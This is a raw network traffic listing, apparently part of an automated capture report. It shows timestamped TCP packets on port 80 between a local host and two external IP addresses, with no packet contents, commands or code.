Oct 24, 2024 08:38:05.076597929 CEST	80	60964	185.215.113.43	192.168.2.5
Oct 24, 2024 08:38:05.076744080 CEST	60964	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:06.584573984 CEST	60964	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:06.584940910 CEST	60978	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:06.590358019 CEST	80	60978	185.215.113.43	192.168.2.5
Oct 24, 2024 08:38:06.590528011 CEST	60978	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:06.590548992 CEST	80	60964	185.215.113.43	192.168.2.5
Oct 24, 2024 08:38:06.590672016 CEST	60964	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:06.590814114 CEST	60978	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:06.596141100 CEST	80	60978	185.215.113.43	192.168.2.5
Oct 24, 2024 08:38:07.526386023 CEST	80	60978	185.215.113.43	192.168.2.5
Oct 24, 2024 08:38:07.526478052 CEST	60978	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:07.535415888 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:07.540767908 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:07.540839911 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:07.540967941 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:07.546185970 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.455766916 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.455780983 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.455904961 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.456029892 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.456044912 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.456063986 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.456074953 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.456075907 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.456089020 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.456098080 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.456098080 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.456142902 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.456406116 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.456446886 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.456484079 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.456522942 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.461209059 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.461220980 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.461235046 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.461244106 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.461287022 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.461337090 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.617356062 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.617398977 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.617456913 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.617486954 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.617516041 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.617552996 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.617578030 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.617607117 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.617624044 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.617654085 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.617829084 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.617866039 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.617878914 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.617901087 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.617912054 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.617944956 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.618072033 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.618115902 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.618129969 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.618165970 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.618176937 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.618201971 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.618211985 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.618240118 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.618644953 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.618683100 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.618711948 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.618720055 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.618726969 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.618769884 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.734536886 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.734584093 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.734622955 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.734657049 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.734694004 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.734729052 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.734766006 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.734827995 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.734880924 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.734915018 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.734930038 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.734950066 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.734957933 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.734998941 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.735234976 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.735271931 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.735290051 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.735306978 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.735353947 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.735490084 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.776014090 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.776030064 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.776094913 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.779022932 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.779090881 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.779202938 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.779247999 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.851411104 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.851438046 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.851490021 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.851531982 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.851546049 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.851543903 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.851558924 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.851613045 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.851718903 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.852313995 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.852325916 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.852336884 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.852349997 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.852364063 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.852397919 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.852897882 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.852909088 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.852960110 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.892939091 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.892977953 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.893053055 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.893053055 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.896085978 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.896126032 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.896162033 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.896243095 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.896287918 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.968511105 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.968523026 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.968534946 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.968545914 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.968588114 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.968643904 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.968713045 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.968724966 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.968738079 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.968756914 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.968763113 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.968770027 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.968794107 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.968823910 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.969417095 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.969429016 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.969439030 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:08.969471931 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:08.969484091 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.010001898 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.010045052 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.010282040 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.012995005 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.013031960 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.013068914 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.013072968 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.013109922 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.013128996 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.085542917 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.085566998 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.085578918 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.085592031 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.085633993 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.085666895 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.085794926 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.085807085 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.085820913 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.085848093 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.085856915 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.085865974 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.085877895 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.085901022 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.085921049 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.086502075 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.086513996 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.086524963 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.086550951 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.086575031 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.127002954 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.127100945 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.127141953 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.127171040 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.129977942 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.130038023 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.130059004 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.130072117 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.130084038 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.130108118 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.130116940 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.130153894 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.202467918 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.202595949 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.202593088 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.202606916 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.202617884 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.202630997 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.202647924 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.202666998 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.202905893 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.202953100 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.203083992 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.203094006 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.203133106 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.203134060 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.203151941 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.203157902 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.203188896 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.203648090 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.203660011 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.203672886 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.203699112 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.203716993 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.244425058 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.244466066 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.244501114 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.244524002 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.244549990 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.248104095 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.248156071 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.248176098 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.248193026 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.248217106 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.248226881 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.248239040 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.248271942 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.320344925 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.320404053 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.320440054 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.320492029 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.320528984 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.320557117 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.320565939 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.320593119 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.320614100 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.320627928 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.320641041 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.320664883 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.320698977 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.320728064 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.320729017 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.320729017 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.320755959 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.320761919 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.320785046 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.320796967 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.320800066 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.320832968 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.320841074 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.320879936 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.361172915 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.361191988 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.361205101 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.361289024 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.364680052 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.364706039 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.364722013 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.364737988 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.364749908 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.364769936 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.364795923 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.437122107 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.437150955 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.437167883 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.437184095 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.437191963 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.437200069 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.437208891 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.437216043 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.437241077 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.437259912 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.437710047 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.437733889 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.437751055 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.437757969 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.437766075 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.437771082 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.437783957 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.437796116 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.437796116 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.437824011 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.478404999 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.478537083 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.478555918 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.478600025 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.478854895 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.478869915 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.478918076 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.481417894 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.481431007 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.481446981 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.481493950 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.481520891 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.481559038 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.481575012 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.481601954 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.481614113 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.553493023 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.553512096 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.553527117 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.553555012 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.553571939 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.553580999 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.553946018 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.553999901 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.554039001 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.554061890 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.554079056 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.554083109 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.554104090 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.554122925 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.554224968 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.554241896 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.554258108 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.554267883 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.554274082 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.554286957 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.554306030 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.554316044 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.554708004 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.554728985 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.554744005 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.554759026 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.554769993 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.554785967 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.595371008 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.595429897 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.595551968 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.595599890 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.598484039 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.598500013 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.598516941 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.598532915 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.598532915 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.598541975 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.598572969 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.598664045 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.598702908 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.598727942 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:09.598771095 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:09.670511961 CEST	80	60982	185.215.113.16	192.168.2.5
